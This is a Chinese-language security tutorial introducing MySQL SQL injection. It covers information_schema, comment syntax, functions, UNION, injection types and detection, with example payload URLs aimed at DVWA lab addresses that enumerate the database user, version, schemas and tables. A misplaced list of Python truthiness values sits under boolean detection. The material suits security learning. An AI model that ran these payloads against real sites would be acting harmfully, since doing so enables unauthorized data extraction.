WEB安全之:Mysql 数据库 SQL 注入(一)
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Mysql 数据库 SQL 注入(一)
服务器端程序将用户输入参数作为查询条件,直接拼接 SQL 语句,并将查询结果返回给客户端浏览器;由此不仅可以获得数据库,还能通过 SQL 获得系统权限、文件操作等;
**主要危害有:**1、榨取数据; 2、执行系统命令; 3、向数据库插入代码; 绕过登录验证。
1 Mysql 数据库 SQL 注入基础知识
1.1 information_schema
information_schema:系统数据库,含有所有数据库的相关信息。对于 Mysql 和 Infobright 等数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。需要 root 相应权限;
information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:
table_schema: 记录数据库名;
table_name: 记录数据表名;
engine : 存储引擎;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节);
index_length : 记录表的索引的大小;
row_format: 可以查看数据表是否压缩过;
1.2 Mysql 注释符号
1. #
2. -- (--最后有一个空格)
3. /* content */
# 用于注释后面语句,使其不执行
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' order by 3-- &Submit=Submit#
1.3 Mysql 注入常用语句及函数
limit()
函数用法参考:SQL Limit子句 - SQL教程™ (yiibai.com)group_concat()
函数用法参考:MySQL group_concat()函数 - MySQL教程™ (yiibai.com)
select VERSION(); # 查询 MySQL 版本
select USER(); # 数据库用户名
select DATABASE(); # 数据库名
select @@datadir; # 数据库路径
select @@version_compile_os; # 操作系统版本
exists (str):判断是否存在,存在返回 True,不存在返回 False
hex():编码,十进制数字/字符串 -> 十六进制。例:select(hex('A'));
sleep(s):延时执行s秒
LEFT(str,len):返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL。
concat():
# concat(十六进制): 解码,十六进制 -> 字符串。例:select concat(0x2D);
# concat(str1,str2,...):没有分隔符连接字符串;其中任何一个参数为NULL则结果为 NULL
# concat_ws(separator,str1,str2,...):含有分隔符连接字符串,
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--
第1个字段同时查询多个数据,第2个字段为空,CONCAT_WS连接字符:32,58,32对应的字符为 “空格:空格”;
# group_concat(str1,str2,...):连接一个组的所有字符串,并以逗号分隔每一条数据
ascii(str):不能查询中文字符.
# str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值
# str 为空字符串,返回 0
# str 为NULL,返回 NULL
# 注:ASCII() 返回数值是从 0 到 255
MID(column_name,start[,length])/SUBSTRING(str, start , length):用于从文本字段中提取字符
# column_name:必需。要提取字符的字段
# start:必需。规定开始位置(起始值是 1)
# length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
substring_index(str,delim,count)
例:查询user(),并以@为分隔符,取第一个切分字段:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select database(),substring_index(user(),"@",1)--
information_schema:系统数据库,含有所有数据库的相关信息。一般利用它可进行一次完整的注入。
# 列出所有的数据库:select group_concat(schema_name) from information_schema.schemata
# 列出某个库当中所有的表:select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
1.4 Mysql 注入常用操作符
1.4.1 UNION 操作符
-
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。即第二个 SELECT 语句中的字段数需要等于第一个 SELECT 语句的字段数。
-
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。当前面获取的数据为 Null 时,显示第二个 SELECT 语句中的列名。 例:
http://192.168.100.137/index.php?id=-1 union select 1,2,3 http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,3
-
UNION 默认只选取结果不同的值,如果允许重复的值,使用 UNION ALL。
-
第二个 SELECT 语句所查询字段可用数字来替代。
-
若第二个 SELECT 语句所查询的表不存在,则返回错误信息。
-
即使第二个 SELECT 所查询的表字段数小于第一个所查询的表,也不会返回错误信息。
1.5 Mysql 的逻辑运算
1. and == &&
2. or == ||
3. not == !
4. XOR 异或
# && 与 || 这种特殊的符号 一定要在输入浏览器 URL 前转码之后方可提交,因为浏览器默认不会进行编码
1.6 注入类型
1.6.1 基于数据提交方式区分
- GET 注入:
- 提交数据的方式是 GET , GET请求的参数是放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码。
- 注入点的位置在 GET 参数部分。比如:
http://host/?id=1
, id 为注入点。
- POST 注入
- 使用 POST 方式提交数据,POST 请求参数是放在请求 body 里的,长度没有限制。
- 注入点位置在 POST 数据部分,常发生在表单中。
- COOKIE 注入
- cookie参数放在请求头信息,提交的时候 服务器会从请求头获取参数。
- 注入点存在 Cookie 当中的某个字段中。
1.6.2 基于数据类型的区分
- int 型注入:
- 如:
http://host/?id=1
注入,一般被称为 int 型注入。其注入点 id 类型为数字,在大多数的网页中,像查看用户个人信息、文章等,大都会使用这种形式的结构传递 id 等信息,交给后端,查询出数据库中对应的信息,返回给前端。 - SQL 语句原型:
select * from 表名 where id=1
- 查询语句:
select * from user where id=1 and 1=1
- 如:
- string 型注入:
- 如:
http://host/?username=admin
注入,一般被称为 string 型注入。注意处理此类注入时,可能需要处理 SQL 语句闭合问题。 - SQL 语句原型:
select * from user where username='admin'
- 查询语句:
select * from user where username='admin' and 1=1'
- 如:
- like 型注入:
- 指在进行数据搜索时没过滤搜索参数,一般在链接地址中有
"keyword=关键字"
有的不显示在的链接地址里面,而是直接通过搜索框表单提交。 - SQL 语句原型:
select * from user where username like '%关键字%'
- 查询语句:
select * from user where username like '%关键字%' and '%1%'='%1%'
- 指在进行数据搜索时没过滤搜索参数,一般在链接地址中有
1.6.3 基于注入方法区分
- 联合查询注入:
union select
联合两个表注入
- 报错注入:
- 即页面会返回数据库报错信息,或者把注入的语句的结果直接返回在页面中。
- 盲注入:
- 布尔型注入:即根据返回页面,判断条件真假的注入。
- 时间型注入:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
2 注入检测方法
2.1 正常查询方法
通过正常查询观察可注入点;
2.2 基于闭合报错的检测方法
一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接在可注入点输入一个单引号'
/双引号 "
、百分号%
、括号 ()
,数据库因为多输入字符导致无法闭合而报错;
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
2.3 基于布尔的检测方法
**布尔检测:**所有标准对象均可以用于布尔测试,下列对象的布尔值是False:
- None
- False
- 所有值为零的数:0(整型),(浮点型),0L(长整型),0.0+0.0j(复数)
- “”(空字符串),
[ ](空列表)
, ()(空元组),{}(空字典)
基于页面返回的信息是否相同的检测方法判断,再进一步确认服务端是否可执行
# 以报错为 `'` 为例:
1. 方法一:
正确查询内容' and '1'='1
2. 方法二:
正确查询内容' and '1
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1%27++AND+%271&Submit=Submit#
# 若闭合报错的检测无法确认,可以尝试忽视闭合符号进行查询:
1. 方法一:
正确查询内容 and 1=1
2. 方法二:
正确查询内容 and 1
例:http://192.168.100.135/index.php?ID=104%20AND%201
2.4 基于时间的检测方法
通过 Mysql 里面的 sleep()
函数,这个函数的意思是延时执行多少秒。
and sleep(5) 这种方法判断注入,如果存在注入的情况下 页面是延时5秒返回页面。